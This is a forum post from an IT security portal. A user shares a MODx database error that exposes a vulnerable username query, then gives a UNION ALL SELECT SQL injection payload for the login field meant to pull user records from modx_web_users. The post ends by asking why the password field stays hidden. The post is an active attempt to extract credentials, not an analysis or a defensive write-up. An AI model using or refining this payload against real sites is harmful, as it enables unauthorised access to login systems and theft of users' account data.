Waraxe IT Security Portal

julioisaias · Valuable expert

« MODx Parse Error »
MODx encountered the following error while attempting to parse the requested resource:
« Execution of a query to the database failed - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'nameintroduced$' and `modx`.modx_web_user_attributes.internalKey=`modx`.modx_web' at line 1 »
SQL: SELECT `modx`.modx_web_users.*, `modx`.modx_web_user_attributes.* FROM `modx`.modx_web_users, `modx`.modx_web_user_attributes WHERE `modx`.modx_web_users.username REGEXP BINARY '^' nameintroduced$' and `modx`.modx_web_user_attributes.internalKey=`modx`.modx_web_users.id;
[Copy SQL to ClipBoard]

Parser timing
MySQL: 0.0017 s s (3 Requests)
PHP: 0.1098 s s
Total: 0.1115 s s

I then insert the correct syntax for injection:

LOGIN:

' UNION ALL SELECT 1,2,3,username,5,6,7,modx_web_user_attributes,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 FROM modx_web_users/*

PASSWORD: any

Do everything right here.

But I can not see the password, its blocked?

Best Regards